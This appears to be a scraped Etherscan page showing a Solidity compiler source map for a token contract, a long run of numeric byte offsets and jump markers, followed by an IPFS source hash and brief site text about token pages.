:6;:19:::0;;-1:-1:-1;;;;;;8786:19:0::1;::::0;;8665:148::o;12408:222::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;12497:13:::1;::::0;-1:-1:-1;;;;;12497:13:0;;::::1;12489:21:::0;;::::1;::::0;12481:75:::1;;;::::0;-1:-1:-1;;;12481:75:0;;7324:2:1;12481:75:0::1;::::0;::::1;7306:21:1::0;7363:2;7343:18;;;7336:30;7402:34;7382:18;;;7375:62;-1:-1:-1;;;7453:18:1;;;7446:40;7503:19;;12481:75:0::1;7122:406:1::0;12481:75:0::1;-1:-1:-1::0;;;;;12567:11:0;::::1;;::::0;;;:5:::1;:11;::::0;;;;;:19;;-1:-1:-1;;12567:19:0::1;::::0;::::1;;::::0;;::::1;::::0;;;12602:20;;12567:19;;:11;12602:20:::1;::::0;::::1;12408:222:::0;;:::o;4238:104::-;4294:13;4327:7;4320:14;;;;;:::i;6336:482::-;262:10;6456:4;6505:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6505:34:0;;;;;;;;;;6572:35;;;;6550:122;;;;-1:-1:-1;;;6550:122:0;;7735:2:1;6550:122:0;;;7717:21:1;7774:2;7754:18;;;7747:30;7813:34;7793:18;;;7786:62;-1:-1:-1;;;7864:18:1;;;7857:35;7909:19;;6550:122:0;7533:401:1;6550:122:0;6708:67;262:10;6731:7;6759:15;6740:16;:34;6708:8;:67::i;:::-;-1:-1:-1;6806:4:0;;6336:482;-1:-1:-1;;;6336:482:0:o;4752:216::-;4874:4;4896:42;262:10;4920:9;4931:6;4896:9;:42::i;12921:182::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13006:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;13006:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;13061:34;;1674:41:1;;;13061:34:0::1;::::0;1647:18:1;13061:34:0::1;;;;;;;12921:182:::0;;:::o;16720:360::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;16849:6:::1;16824:22;:20;:22::i;:::-;:31;;;;:::i;:::-;16811:9;:44;;16803:110;;;::::0;-1:-1:-1;;;16803:110:0;;8363:2:1;16803:110:0::1;::::0;::::1;8345:21:1::0;8402:2;8382:18;;;8375:30;8441:34;8421:18;;;8414:62;-1:-1:-1;;;8492:18:1;;;8485:51;8553:19;;16803:110:0::1;8161:417:1::0;16803:110:0::1;16970:4;16945:22;:20;:22::i;:::-;:29;;;;:::i;:::-;16932:9;:42;;16924:107;;;::::0;-1:-1:-1;;;16924:107:0;;8785:2:1;16924:107:0::1;::::0;::::1;8767:21:1::0;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:50;8974:19;;16924:107:0::1;8583:416:1::0;16924:107:0::1;17042:18;:30:::0;16720:360::o;8821:281::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8924:22:0;::::1;8902:110;;;::::0;-1:-1:-1;;;8902:110:0;;9206:2:1;8902:110:0::1;::::0;::::1;9188:21:1::0;9245:2;9225:18;;;9218:30;9284:34;9264:18;;;9257:62;-1:-1:-1;;;9335:18:1;;;9328:36;9381:19;;8902:110:0::1;9004:402:1::0;8902:110:0::1;9049:6;::::0;9028:38:::1;::::0;-1:-1:-1;;;;;9028:38:0;;::::1;::::0;9049:6:::1;::::0;9028:38:::1;::::0;9049:6:::1;::::0;9028:38:::1;9077:6;:17:::0;;-1:-1:-1;;;;;;9077:17:0::1;-1:-1:-1::0;;;;;9077:17:0;;;::::1;::::0;;;::::1;::::0;;8821:281::o;15659:161::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;15754:58:::1;::::0;15717:12:::1;::::0;15762:10:::1;::::0;15786:21:::1;::::0;15717:12;15754:58;15717:12;15754:58;15786:21;15762:10;15754:58:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;;;15659:161:0:o;16469:79::-;8578:6;;-1:-1:-1;;;;;8578:6:0;262:10;8578:22;8570:67;;;;-1:-1:-1;;;8570:67:0;;;;;;;:::i;:::-;16526:6:::1;:14:::0;;-1:-1:-1;;16526:14:0::1;::::0;;16469:79::o;7720:380::-;-1:-1:-1;;;;;7856:19:0;;7848:68;;;;-1:-1:-1;;;7848:68:0;;9823:2:1;7848:68:0;;;9805:21:1;9862:2;9842:18;;;9835:30;9901:34;9881:18;;;9874:62;-1:-1:-1;;;9952:18:1;;;9945:34;9996:19;;7848:68:0;9621:400:1;7848:68:0;-1:-1:-1;;;;;7935:21:0;;7927:68;;;;-1:-1:-1;;;7927:68:0;;10228:2:1;7927:68:0;;;10210:21:1;10267:2;10247:18;;;10240:30;10306:34;10286:18;;;10279:62;-1:-1:-1;;;10357:18:1;;;10350:32;10399:19;;7927:68:0;10026:398:1;7927:68:0;-1:-1:-1;;;;;8008:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8060:32;;160:25:1;;;8060:32:0;;133:18:1;8060:32:0;;;;;;;7720:380;;;:::o;13326:1545::-;-1:-1:-1;;;;;13458:18:0;;13450:68;;;;-1:-1:-1;;;13450:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13537:16:0;;13529:64;;;;-1:-1:-1;;;13529:64:0;;;;;;;:::i;:::-;13621:1;13612:6;:10;13604:52;;;;-1:-1:-1;;;13604:52:0;;11441:2:1;13604:52:0;;;11423:21:1;11480:2;11460:18;;;11453:30;11519:31;11499:18;;;11492:59;11568:18;;13604:52:0;11239:353:1;13604:52:0;13693:1;13673:17;;:21;:50;;;;-1:-1:-1;;;;;;13698:25:0;;;;;;:19;:25;;;;;;;;13673:50;13669:1141;;;13738:27;13754:2;13758:6;13738:15;:27::i;:::-;13326:1545;;;:::o;13669:1141::-;13826:1;13806:17;;:21;:51;;;;-1:-1:-1;;;;;;13832:25:0;;;;;;:19;:25;;;;;;;;13831:26;13806:51;:79;;;;-1:-1:-1;;;;;;13862:23:0;;;;;;:19;:23;;;;;;;;13861:24;13806:79;13802:1008;;;13906:6;;;;13902:111;;;13967:2;13951:13;4539:12;;;4451:108;13951:13;:18;;;;:::i;:::-;13941:6;:28;;13933:64;;;;-1:-1:-1;;;13933:64:0;;11799:2:1;13933:64:0;;;11781:21:1;11838:2;11818:18;;;11811:30;11877:25;11857:18;;;11850:53;11920:18;;13933:64:0;11597:347:1;13933:64:0;14149:11;;14029:12;;;;;;14149:11;;:24;;;;-1:-1:-1;14165:8:0;;-1:-1:-1;;;14165:8:0;;;;14164:9;14149:24;14145:160;;;14194:8;:15;;-1:-1:-1;;;;14194:15:0;-1:-1:-1;;;14194:15:0;;;14228:26;14237:4;14243:2;14247:6;14228:8;:26::i;:::-;14273:8;:16;;-1:-1:-1;;;;14273:16:0;;;14145:160;-1:-1:-1;;;;;14325:9:0;;;;;;:5;:9;;;;;;;;:19;;;;;14343:1;14337:3;:7;14325:19;14321:340;;;14389:3;14373:12;14382:3;14373:6;:12;:::i;:::-;14372:20;;;;:::i;:::-;14365:27;;14321:340;;;14437:1;14431:3;:7;:22;;;;-1:-1:-1;;;;;;14442:11:0;;;;;;:5;:11;;;;;;;;14431:22;14427:234;;;14516:9;14495:17;;14477:15;:35;;;;:::i;:::-;:48;;:69;;;;-1:-1:-1;;;;;;14529:12:0;;;;;;:8;:12;;;;;;:17;14477:69;14474:125;;;-1:-1:-1;;;;;14569:12:0;;;;;;:8;:12;;;;;14584:15;14569:30;;14474:125;14642:3;14626:12;14635:3;14626:6;:12;:::i;:::-;14625:20;;;;:::i;:::-;14618:27;;14427:234;14681:8;;14677:91;;14710:42;14726:4;14740;14747;14710:15;:42::i;:::-;14784:14;14794:4;14784:14;;:::i;:::-;;;13887:923;;;13802:1008;14830:33;14846:4;14852:2;14856:6;14830:15;:33::i;6826:227::-;-1:-1:-1;;;;;6941:23:0;;6933:71;;;;-1:-1:-1;;;6933:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7015:20:0;;:9;:20;;;;;;;;;;:30;;7039:6;;7015:9;:30;;7039:6;;7015:30;:::i;:::-;;;;-1:-1:-1;;;;6826:227:0:o;14879:772::-;14958:11;14996;15051:1;15039:9;15045:3;14996:26;15039:9;:::i;:::-;:13;15035:437;;;15067:20;15090:24;15108:4;15090:9;:24::i;:::-;15151:16;;;15165:1;15151:16;;;;;;;;15067:47;;-1:-1:-1;15127:21:0;;15151:16;;;;;;;;;;;;-1:-1:-1;15151:16:0;15127:40;;15198:4;15180;15185:1;15180:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;15180:23:0;;;-1:-1:-1;;;;;15180:23:0;;;;;15226:9;-1:-1:-1;;;;;15226:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15216:4;15221:1;15216:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15216:26:0;;;:7;;;;;;;;;:26;15257:203;;-1:-1:-1;;;15257:203:0;;:9;:60;;;;;;:203;;15334:12;;15363:1;;15381:4;;15410;;15432:15;;15257:203;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15054:418;;15035:437;15565:26;;-1:-1:-1;;13598:2:1;13594:15;;;13590:24;;15565:26:0;;;13578:37:1;13649:15;;;13645:24;13631:12;;;13624:46;15482:12:0;;-1:-1:-1;;;;;15519:10:0;:15;;15542:21;;13686:12:1;;15565:26:0;;;-1:-1:-1;;15565:26:0;;;;;;;;;;15519:73;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15505:87;;;;;15612:7;15604:39;;;;-1:-1:-1;;;15604:39:0;;14203:2:1;15604:39:0;;;14185:21:1;14242:2;14222:18;;;14215:30;-1:-1:-1;;;14261:18:1;;;14254:49;14320:18;;15604:39:0;14001:343:1;15604:39:0;14947:704;;;14879:772;;;:::o;7061:651::-;-1:-1:-1;;;;;7201:20:0;;7193:70;;;;-1:-1:-1;;;7193:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7282:23:0;;7274:71;;;;-1:-1:-1;;;7274:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7382:17:0;;7358:21;7382:17;;;;;;;;;;;7432:23;;;;7410:111;;;;-1:-1:-1;;;7410:111:0;;14551:2:1;7410:111:0;;;14533:21:1;14590:2;14570:18;;;14563:30;14629:34;14609:18;;;14602:62;-1:-1:-1;;;14680:18:1;;;14673:36;14726:19;;7410:111:0;14349:402:1;7410:111:0;-1:-1:-1;;;;;7557:17:0;;;:9;:17;;;;;;;;;;;7577:22;;;7557:42;;7621:20;;;;;;;;:30;;7593:6;;7557:9;7621:30;;7593:6;;7621:30;:::i;:::-;;;;;;;;7686:9;-1:-1:-1;;;;;7669:35:0;7678:6;-1:-1:-1;;;;;7669:35:0;;7697:6;7669:35;;;;160:25:1;;148:2;133:18;;14:177;7669:35:0;;;;;;;;7182:530;7061:651;;;:::o;196:250:1:-;281:1;291:113;305:6;302:1;299:13;291:113;;;381:11;;;375:18;362:11;;;355:39;327:2;320:10;291:113;;;-1:-1:-1;;438:1:1;420:16;;413:27;196:250::o;451:396::-;600:2;589:9;582:21;563:4;632:6;626:13;675:6;670:2;659:9;655:18;648:34;691:79;763:6;758:2;747:9;743:18;738:2;730:6;726:15;691:79;:::i;:::-;831:2;810:15;-1:-1:-1;;806:29:1;791:45;;;;838:2;787:54;;451:396;-1:-1:-1;;451:396:1:o;1078:131::-;-1:-1:-1;;;;;1153:31:1;;1143:42;;1133:70;;1199:1;1196;1189:12;1133:70;1078:131;:::o;1214:315::-;1282:6;1290;1343:2;1331:9;1322:7;1318:23;1314:32;1311:52;;;1359:1;1356;1349:12;1311:52;1398:9;1385:23;1417:31;1442:5;1417:31;:::i;:::-;1467:5;1519:2;1504:18;;;;1491:32;;-1:-1:-1;;;1214:315:1:o;1726:160::-;1791:20;;1847:13;;1840:21;1830:32;;1820:60;;1876:1;1873;1866:12;1820:60;1726:160;;;:::o;1891:180::-;1947:6;2000:2;1988:9;1979:7;1975:23;1971:32;1968:52;;;2016:1;2013;2006:12;1968:52;2039:26;2055:9;2039:26;:::i;:::-;2029:36;1891:180;-1:-1:-1;;;1891:180:1:o;2076:247::-;2135:6;2188:2;2176:9;2167:7;2163:23;2159:32;2156:52;;;2204:1;2201;2194:12;2156:52;2243:9;2230:23;2262:31;2287:5;2262:31;:::i;2328:180::-;2387:6;2440:2;2428:9;2419:7;2415:23;2411:32;2408:52;;;2456:1;2453;2446:12;2408:52;-1:-1:-1;2479:23:1;;2328:180;-1:-1:-1;2328:180:1:o;2513:456::-;2590:6;2598;2606;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2714:9;2701:23;2733:31;2758:5;2733:31;:::i;:::-;2783:5;-1:-1:-1;2840:2:1;2825:18;;2812:32;2853:33;2812:32;2853:33;:::i;:::-;2513:456;;2905:7;;-1:-1:-1;;;2959:2:1;2944:18;;;;2931:32;;2513:456::o;3371:315::-;3436:6;3444;3497:2;3485:9;3476:7;3472:23;3468:32;3465:52;;;3513:1;3510;3503:12;3465:52;3552:9;3539:23;3571:31;3596:5;3571:31;:::i;:::-;3621:5;-1:-1:-1;3645:35:1;3676:2;3661:18;;3645:35;:::i;:::-;3635:45;;3371:315;;;;;:::o;3691:388::-;3759:6;3767;3820:2;3808:9;3799:7;3795:23;3791:32;3788:52;;;3836:1;3833;3826:12;3788:52;3875:9;3862:23;3894:31;3919:5;3894:31;:::i;:::-;3944:5;-1:-1:-1;4001:2:1;3986:18;;3973:32;4014:33;3973:32;4014:33;:::i;:::-;4066:7;4056:17;;;3691:388;;;;;:::o;4084:356::-;4286:2;4268:21;;;4305:18;;;4298:30;4364:34;4359:2;4344:18;;4337:62;4431:2;4416:18;;4084:356::o;4445:251::-;4515:6;4568:2;4556:9;4547:7;4543:23;4539:32;4536:52;;;4584:1;4581;4574:12;4536:52;4616:9;4610:16;4635:31;4660:5;4635:31;:::i;5622:306::-;5710:6;5718;5726;5779:2;5767:9;5758:7;5754:23;5750:32;5747:52;;;5795:1;5792;5785:12;5747:52;5824:9;5818:16;5808:26;;5874:2;5863:9;5859:18;5853:25;5843:35;;5918:2;5907:9;5903:18;5897:25;5887:35;;5622:306;;;;;:::o;5933:380::-;6012:1;6008:12;;;;6055;;;6076:61;;6130:4;6122:6;6118:17;6108:27;;6076:61;6183:2;6175:6;6172:14;6152:18;6149:38;6146:161;;6229:10;6224:3;6220:20;6217:1;6210:31;6264:4;6261:1;6254:15;6292:4;6289:1;6282:15;6146:161;;5933:380;;;:::o;6727:127::-;6788:10;6783:3;6779:20;6776:1;6769:31;6819:4;6816:1;6809:15;6843:4;6840:1;6833:15;6859:125;6924:9;;;6945:10;;;6942:36;;;6958:18;;:::i;6989:128::-;7056:9;;;7077:11;;;7074:37;;;7091:18;;:::i;7939:217::-;7979:1;8005;7995:132;;8049:10;8044:3;8040:20;8037:1;8030:31;8084:4;8081:1;8074:15;8112:4;8109:1;8102:15;7995:132;-1:-1:-1;8141:9:1;;7939:217::o;10429:401::-;10631:2;10613:21;;;10670:2;10650:18;;;10643:30;10709:34;10704:2;10689:18;;10682:62;-1:-1:-1;;;10775:2:1;10760:18;;10753:35;10820:3;10805:19;;10429:401::o;10835:399::-;11037:2;11019:21;;;11076:2;11056:18;;;11049:30;11115:34;11110:2;11095:18;;11088:62;-1:-1:-1;;;11181:2:1;11166:18;;11159:33;11224:3;11209:19;;10835:399::o;11949:168::-;12022:9;;;12053;;12070:15;;;12064:22;;12050:37;12040:71;;12091:18;;:::i;12254:127::-;12315:10;12310:3;12306:20;12303:1;12296:31;12346:4;12343:1;12336:15;12370:4;12367:1;12360:15;12386:980;12648:4;12696:3;12685:9;12681:19;12727:6;12716:9;12709:25;12753:2;12791:6;12786:2;12775:9;12771:18;12764:34;12834:3;12829:2;12818:9;12814:18;12807:31;12858:6;12893;12887:13;12924:6;12916;12909:22;12962:3;12951:9;12947:19;12940:26;;13001:2;12993:6;12989:15;12975:29;;13022:1;13032:195;13046:6;13043:1;13040:13;13032:195;;;13111:13;;-1:-1:-1;;;;;13107:39:1;13095:52;;13202:15;;;;13167:12;;;;13143:1;13061:9;13032:195;;;-1:-1:-1;;;;;;;13283:32:1;;;;13278:2;13263:18;;13256:60;-1:-1:-1;;;13347:3:1;13332:19;13325:35;13244:3;12386:980;-1:-1:-1;;;12386:980:1:o;13709:287::-;13838:3;13876:6;13870:13;13892:66;13951:6;13946:3;13939:4;13931:6;13927:17;13892:66;:::i;:::-;13974:16;;;;;13709:287;-1:-1:-1;;13709:287:1:o

Swarm Source

ipfs://5781e7410d9aceef529f4e10c2d1f887b664c7ae3261558a7471138585b52e7b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.